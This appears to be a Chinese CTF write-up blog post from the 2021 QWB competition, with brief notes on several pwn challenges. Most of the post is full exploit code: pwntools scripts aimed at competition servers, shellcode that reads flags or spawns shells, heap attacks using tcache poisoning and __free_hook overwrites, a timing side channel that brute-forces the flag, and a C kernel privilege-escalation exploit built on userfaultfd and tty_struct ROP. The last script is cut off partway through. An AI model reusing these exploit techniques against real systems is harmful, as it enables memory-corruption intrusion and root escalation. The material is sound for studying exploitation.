2021年6月

线上赛撞了四六级麻了hhh

ban完一堆队伍之后喜提线下hhh

orw

堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag

from pwn import *

#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

def add(idx:int, size:int, content):
    p.sendlineafter(b"choice >>\n", b"1")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"size:\n", str(size).encode())
    p.sendafter(b"content:\n", content)

def delete(idx:int):
    p.sendlineafter(b"choice >>\n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n")

    offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8
    print("offset:", hex(offset))
    shellcode_1 = '''
    mov rsi, rdi;
    xor rax, rax;
    jmp $+0x1a;
    '''
    shellcode_1 = asm(shellcode_1)
    shellcode_2 = '''
    xor rdi, rdi;
    mov edx, ecx;
    syscall;
    '''
    shellcode_2 = asm(shellcode_2) 
    print("len(shellcode_1):", hex(len(shellcode_1)))
    print(shellcode_1)
    print("len(shellcode_2):", hex(len(shellcode_2)))
    print(shellcode_2)
    add(-offset, 8, shellcode_1)
    add(0, 8, shellcode_2.ljust(8, b"\x90"))
    delete(0)

    orw = '''
    push 0;
    push 0x67616c66;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 0;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''

    p.send(b"\x90"*0x10+asm(orw))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

no_output

这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag

from pwn import *
import time

elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"

elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060

table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."

final_flag = b""

def exp(guess, c_idx):
    global final_flag
    global p
    #p = process("./test")
    p = remote("39.105.138.97", 1234)

    # tell me some thing
    p.send(b"a"*0x30)
    # Tell me your name:\n
    p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
    # now give you the flag\n
    # xxxx
    # give me the soul:
    p.sendline(b"-2147483648")
    # give me the egg:
    p.sendline(b"-1")

    # handler stkof
    #gdb.attach(p,"b *0x8049385\nc\n")

    offset = 0x48 # to ebp
    pop_edi_ebp_ret = 0x08049582
    pop_esi_edi_ebp_ret = 0x08049581
    pop_ebx_esi_edi_ebp_ret = 0x08049580
    payload1 = b"a"*offset + p32(0xdeadbeef)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2) 
    payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0)  # open(flag_name, 0)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2) 
    payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
    p.send(payload1.ljust(0x100, b"\x00"))
    #time.sleep(0.5)
    p.send(b"flag\x00")
    p.send(guess + b"\x00")

    try:
        p.recv(timeout=1)
        final_flag += guess
        print("Curr flag:", final_flag)
        #pause()
        p.close()
        return True
    except:
        #print("Incorrect:", guess)
        print("Curr flag:", final_flag)
        p.close()
        return False


if __name__ == "__main__":
    for i in range(20, 40):
        print("Round: ", i)
        for c in table:
            if exp(bytes([c]), i):
                break
    print("Curr flag:", final_flag)

#qwb{n0_1nput_1s_great!!!}

shellcode

模式切换shellcode,字符范围限制: (0x1f, 0x7f)

用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)

orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag

from pwn import *
import sys
import time

import threading

def exp(flag_idx:int):    
    #p = process("./shellcode")
    p = remote("39.105.137.118", 50050)
    #context.log_level = "debug"
    context.arch = "amd64"

    # build read
    alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
    payload = alpha_read
    p.send(payload)

    # read mmap shellcode
    # mmap new shellcode area
    time.sleep(0.2)
    payload = b"\x90"*0x50
    shellcode_mmap_raw = '''
    mov rdi, 0x100000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0x200000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0
    mov rsi, 0x100000
    mov rdx, 0x1000
    mov rax, 0;
    syscall;
    call rsi;
    '''
    payload += asm(shellcode_mmap_raw)
    p.send(payload)

    #gdb.attach(p, "b *0x100001\nc\n")

    # read new shellcode
    time.sleep(0.5)
    shellcode_to_x86 = '''
    push 0x23;
    push 0x100020;
    retfq;
    '''
    shellcode_open = '''
    mov esp, 0x210000;
    push 0;
    push 0x67616c66;
    mov ebx, esp;
    mov rcx, 0;
    mov eax, 5;
    int 0x80;
    '''
    shellcode_to_x64 = '''
    push 0x33;
    push 0x100050;
    retf;
    '''
    shellcode_read = '''
    mov rdi, rax;
    mov rsi, 0x100000;
    mov rdx, 0x40;
    mov rax, 0;
    syscall;
    nop;
    '''
    char_addr = 0x100000+flag_idx
    shellcode_alarm = '''
    xor rax, rax;
    mov al, byte ptr [{}];
    //mov al, 0x3;
    mov rdi, rax;
    mov rax, 37;
    syscall;
    HERE:
        jmp HERE
    '''
    payload = asm(shellcode_to_x86)
    payload = payload.ljust(0x20, b"\x90")
    payload += asm(shellcode_open)
    payload += asm(shellcode_to_x64)
    payload = payload.ljust(0x50, b"\x90")
    payload += asm(shellcode_read)
    payload += asm(shellcode_alarm.format(hex(char_addr)))
    p.send(payload)

    print("WAITING IDX: ", flag_idx)
    start = time.perf_counter()
    try:
        p.recv()
    except:
        print("ALARM!")
    end = time.perf_counter()
    pass_time = int(end-start)
    flag[flag_idx] = pass_time
    print(flag_idx, "May be char:", bytes([pass_time]))
    p.close()

if __name__ == "__main__":
    pool = []
    flag = [0]*0x26
    for i in range(0, 0x26):
        t = threading.Thread(target=exp, args=(i,))
        pool.append(t)
        t.setDaemon(True)
        sleep(1)
        t.start()
    for t in pool:
        t.join()
    print("FLAG:", bytes(flag)) 

#flag{cdc31bf52a72521c93b690ad1978856d}

pipeline

隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的

from pwn import *

#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

def add():
    p.sendlineafter(b">> ", b"1")

def edit(idx:int, size:int, offset:int):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"offset: ", str(offset).encode())
    p.sendlineafter(b"size: ", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"index: ", str(idx).encode())

def append(idx:int, size:int, data):
    p.sendlineafter(b">> ", b"4")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"data: ", data)

def show(idx:int):
    p.sendlineafter(b">> ", b"5")
    p.sendlineafter(b"index: ", str(idx).encode())

# 0x0000555555554000
# header: 0x0000555555554000+0x4058

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x18af\nc\n")

    # leak libc
    add() #0
    edit(0, 0x420, 0)
    add() #1 split
    edit(0, 0, 0)
    edit(0, 0x420, 0)
    show(0)
    p.recvuntil(b"data: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    # attack tcache
    ## get
    add() #2
    edit(2, 0x18, 0x17)
    add() #3
    edit(3, 0x20, 0)
    add() #4
    edit(4, 0x20, 0)
    add() #5
    edit(5, 0x20, 0)
    ## free
    edit(5, 0, 0)
    edit(4, 0, 0)
    edit(3, 0, 0)

    payload = b"a"+p64(0x21)
    payload += p64(free_hook) + p32(0) + p32(0x8) + b"\n"
    append(2, -2147483408, payload)

    append(3, 0x8, p64(system))
    print("free_hook:", hex(free_hook))

    edit(1, 0x8, 0)
    append(1, 0x8, b"/bin/sh\n")
    edit(1, 0, 0)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

babypwn

题出得有点莫名其妙,题目从堆块头遍历扫描\x11字符替换成\x00,遇到第一个\x00停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hooksetcontext+53,借助setcontext+53gadget调用mprotect给堆rwx后执行orw shellcode

from pwn import *

#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"

def unshiftleft(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res

def unshiftright(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res

def dec(c):
    for i in range(2):
        c = unshiftleft(c , 13)
        c = unshiftright(c ,17)
        c = unshiftleft(c ,5)
    return c

def add(size:int):
    p.sendlineafter(b">>> \n", b"1")
    p.sendlineafter(b"size:\n", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">>> \n", b"2")
    p.sendlineafter(b"index:\n", str(idx).encode())

def edit(idx:int, content):
    p.sendlineafter(b">>> \n", b"3")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"content:\n", content)

def show(idx:int):
    p.sendlineafter(b">>> \n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    # leak libc
    for i in range(8):
        add(0x80) # 0-7
    add(0x20) # 8 split
    for i in range(9,9+7):
        add(0xf8) # 9-16
    for i in range(8):
        delete(i) # del 0-7
    add(0x20) # 0
    show(0)
    libc_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_low = dec(libc_leak_low) & 0xffffffff
    libc_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_high = dec(libc_leak_high) & 0xffffffff
    libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff
    libc_base = libc_leak - 0x3ebd20
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # leak heap
    add(0x80) # 1
    show(1)
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_low = dec(heap_leak_low) & 0xffffffff
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_high = dec(heap_leak_high) & 0xffffffff
    heap_leak = ((heap_leak_high<<32) + heap_leak_low) & 0xffffffffffff
    heap_base = heap_leak - 0x1240 + 0x2c0 # modify
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # build overlapping
    add(0xf8) #2 chain
    add(0xf8) #3 chain
    add(0xf8) #4
    add(0xf8) #5
    add(0x100) #6
    add(0x90) #7 split
    ## fill tcache
    for i in range(9,9+7):
        delete(i) # del 9-16
    edit(5, b"a"*0xf8)
    edit(5, b"a"*0xf0+p64(0x200))
    edit(6, b"a"*0xf0+p64(0)+p64(0x21))
    edit(7, p64(0)+p64(0x91))
    target = heap_base+0x1d10-0x2c0  # modify
    edit(4, b"\x00"*0xf0+p64(0x100))
    edit(4, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))
    delete(6)

    # link to __free_hook
    add(0xf8) # 6 remove from tcache
    add(0x1f8) # 9
    delete(5) # del 5
    edit(9, b"\x00"*0xf8+p64(0x101)+p64(free_hook))
    add(0xf8) # 5 remote first of tcache
    add(0xf8) # 10 free_hook
    edit(10, p64(setcontext+53))
    print("free_hook:", hex(free_hook))

    # attack setcontext+53
    #gdb.attach(p, "b free\nc\n")
    prepare = heap_base + 0x20d0 - 0x2c0 # modify
    add(0x200) # 11 prepare
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x20000
    frame.rdx = 7
    frame.rsp = prepare+0x100

    payload = flat(list(frame.values())).ljust(0x100, b"\x00")
    payload += p64(prepare+0x110)
    payload = payload.ljust(0x110, b"\x90")
    shellcode = '''
    push 0;
    //push 0x67616c66;
    mov rax, 0x7478742e67616c66;
    push rax;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 1;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''
    payload += asm(shellcode)
    print("length:", hex(len(payload)))

    edit(11, payload)
    delete(11)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

notebook

koo师傅和sad师傅打的,我在旁边加油hhh

exp.c

#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
    char *addr;         /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929+22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ;  ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
    MOV_CR4_RAX+=kernel_base - RAW_KERNEL_BASE;
    //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
     MOV_CR4_RDI_POP_RBP+=kernel_base - RAW_KERNEL_BASE;
    //swapgs ;pop rbp ; ret
     SWAPGS += kernel_base - RAW_KERNEL_BASE;
    //0xffffffff810338bb: iretq; pop rbp; ret;
     IRETQ += kernel_base - RAW_KERNEL_BASE;
     swapgs_restore_regs_and_return_to_usermode+=kernel_base - RAW_KERNEL_BASE;
    //commit_creds函数
     COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
    // prepare_kernel_cred
     PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
    //push rax ; pop rsp ;  ret做栈迁移用
     PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
     SUB_RSP_RET += kernel_base - RAW_KERNEL_BASE;
     PUSH_RDI_POP_RSP_POP_RET += kernel_base - RAW_KERNEL_BASE;
     POP_RDI+= kernel_base - RAW_KERNEL_BASE;
     POP_RSP+= kernel_base - RAW_KERNEL_BASE;
     POP_RAX+= kernel_base - RAW_KERNEL_BASE;
     MSLEEP += kernel_base - RAW_KERNEL_BASE;
     MOV_RDI_RAX_POP_RET += kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}
void getShell() {
    printf("%d\n",getuid());
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

struct ARG{
    long long idx;
    long long size;
    void * buf;
};
long long  gift(int fd,int offset){
    char buf[256];
    struct ARG arg = {0,0,buf};
    long long res=ioctl(fd, 100, &arg);
    printf("gift return %d\n",res);
    return *( long long*)(buf+offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x100, &arg);
    printf("add return %d\n",res);
    return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x300, &arg);
    printf("edit return %d\n",res);
    return res;
}

long long del(int fd,long long idx){
    printf("in delete\n");
    struct ARG arg = {idx,0,0};
    long long res=ioctl(fd, 0x200, &arg);
    return res;
}
static void *
fault_handler_thread(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    /* Create a page that will be copied into the faulting region */

    if (page == NULL) {
       page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (page == MAP_FAILED)
           puts("mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor */

    for (;;) {

       /* See what poll() tells us about the userfaultfd */

       struct pollfd pollfd;
       int nready;
       pollfd.fd = uffd;
       pollfd.events = POLLIN;
       nready = poll(&pollfd, 1, -1);
       if (nready == -1)
           puts("poll");

       /* Read an event from the userfaultfd */

       nread = read(uffd, &msg, sizeof(msg));
       if (nread == 0) {
           printf("EOF on userfaultfd!\n");
           exit(EXIT_FAILURE);
       }

       if (nread == -1)
           puts("read");

       /* We expect only one kind of event; verify that assumption */

       if (msg.event != UFFD_EVENT_PAGEFAULT) {
           fprintf(stderr, "Unexpected event on userfaultfd\n");
           exit(EXIT_FAILURE);
       }

        /* Copy the page pointed to by 'page' into the faulting
          region. Vary the contents that are copied in, so that it
          is more obvious that each fault is handled separately. */
       if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            printf("write fault\n");
            sleep(1);
        } else {
           printf("read fault\n");
        char a[10]="sad";
            edit(fd,0,0x600,a);
        edit(fd,0,0x400,a);

        fault_cnt++;

        uffdio_copy.src = (unsigned long) page;

        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                  ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
             printf("ioctl-UFFDIO_COPY");
        }
/*
    while(1){
        printf("check uid %d\n",geteuid());
        sleep(1);
    }
*/
    }
}
int main(){
    saveUserState();
    long uffd;          /* userfaultfd file descriptor */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 4 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       puts("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       puts("ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       puts("mmap");

    /* Register the memory range of the mapping we just created for
      handling by the userfaultfd object. In mode, we request to track
      missing pages (i.e., pages that have not yet been faulted in). */

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       puts("ioctl-UFFDIO_REGISTER");

    /* Create a thread that will process the userfaultfd events */

    s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
       errno = s;
       puts("pthread_create");
    }

    fd = open("/dev/notebook", 2);
    char a[10]="sadaaaaa";
    add(fd,0,0x20,a);
    //add(fd,0,0,addr);
    edit(fd,0,0x3ff,a);
    edit(fd,0,0x400,addr);
    for(int i =0 ;i<0x100;i++)
    ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[128];
    size_t fake_tty_operations[128];
    printf("read size:%d\n",read(fd,fake_tty_struct,0));

    long long kernel_addr = *(unsigned long long *)(fake_tty_struct+3)-0xe8e440;
    init_addr(kernel_addr);
    add(fd,1,0x20,a);
    edit(fd,1,0x20*8,a);
    add(fd,2,0x50,a);
    long long tty_operation_addr = gift(fd,2);
    long long heap_addr = gift(fd,1);
    size_t rop_addr = heap_addr;
    fake_tty_struct[3] = tty_operation_addr;
   fake_tty_struct[1] = SUB_RSP_RET;
   fake_tty_struct[0x14] = POP_RSP;
   fake_tty_struct[0x15] = rop_addr;
   //fake_tty_struct[2] = rop_addr;
    write(fd,fake_tty_struct,0);
    printf("kernel heap addr: %p\n",heap_addr);
    printf("kernel kernel addr: %p\n",kernel_addr);
   //对tty_fd执行write,将触发这个gadget进行第一次转转移
   fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
   //栈再一次转移到rop数组里
    size_t rop[0x20];
    int i = 0;
    /*rop同时关闭了smap、semp*/
    rop[i++] = POP_RDI;
    rop[i++] = 0;
    rop[i++] = PREPARE_KERNEL_CRED;
    rop[i++] = MOV_RDI_RAX_POP_RET;
    rop[i++] = 0;
    rop[i++] = COMMIT_CREDS;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)&getShell;
    rop[i++] = user_cs;
    rop[i++] = user_flags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    printf("\ngetshell: %llx\n",(size_t)&getShell);
    write(fd,rop,1);
    write(fd,fake_tty_operations,2);
    //getchar();
    //write(fd,fake_tty_operations,0);

    for(int i=0;i<0x100;i++){
        write(ptmx_fds[i],a,0x10);
    }

    return 0;
}

house of big

打出了个非预期,找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync,该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强(其实所有利用IO_FILE vtable指针的打法都大同小异

三个角色的哈希校验绕过

A: b'AV;\x8b\x02'

B: b'B\xbf\x1b\x1e\x04'

C: b'C%:U\x01'

哈希爆破脚本

from hashlib import md5

i = 2**24 # skip "\x00"

while True:
    #d = b"A"
    #d = b"B"
    d = b"C"
    _input = d + i.to_bytes(4, "little")
    #print(_input)
    tmp = md5(_input).digest()
    if tmp[:3] == b"<D\x00" and b"\x00" not in _input:
        print(i, d + i.to_bytes(4, "little"))
        break
    i += 1

exp:

from pwn import *
import hashlib

#p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("172.35.6.13", 8888)
elf = ELF("./pig")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

# b'AV;\x8b\x02'
# b'B\xbf\x1b\x1e\x04'
# b'C%:U\x01'

def load_peppa():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02')
    
def load_mummy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04')
    
def load_daddy():
    p.sendlineafter(b"Choice: ", b"5")
    p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01')
    
    
def add_peppa_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Peppa's message: ")
    p.send(msg)
    
def add_mummy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Mummy's message: ")
    p.send(msg)
    
def add_daddy_msg(size:int, msg):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Input the message size: ", str(size).encode())
    p.recvuntil(b"Input the Daddy's message: ")
    p.send(msg)
    
def show_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    
def edit_peppa_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Peppa's message: ", msg)
    
def edit_mummy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Mummy's message: ", msg)
    
def edit_daddy_msg(idx:int, msg):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())
    p.sendafter(b"Input the Daddy's message: ", msg)
    
def del_msg(idx:int):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Input the message index: ", str(idx).encode())

def exp():    
    #load_mummy()
    # leak addr
    #gdb.attach(p, "handle SIGALRM noignore\nb _IO_wfile_sync\nc\n")
    
    for i in range(8):
        add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 0-7
    add_peppa_msg(0x150, b"split\n"*(0x150//0x30)) #peppa 8
    for i in range(8):
        del_msg(i)
    load_mummy()
    load_peppa()
    show_msg(7) # leak libc
    p.recvuntil(b"The message is: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    global_max_fast = libc_base + 0x1eeb80
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    io_list_all = libc_base + 0x1ec5a0
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("global_max_fast:", hex(global_max_fast))
    show_msg(6) # leak heap
    p.recvuntil(b"The message is: ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12590
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # largebin attack
    #edit_peppa_msg(7, ((p64(global_max_fast)+p64(global_max_fast-0x10)) * (0xa0//0x30))) # modify smallbin
    #add_peppa_msg(0xa0, b"a"*((0xa0//0x30) * 0x10)) #peppa 9 trigger unsortedbin
    #gdb.attach(p)
    #pause()
    load_mummy()
    add_mummy_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #mummy 0
    add_mummy_msg(0x410, b"a"*((0x410//0x30) * 0x10)) #mummy 1
    load_peppa()
    add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 9
    load_mummy()
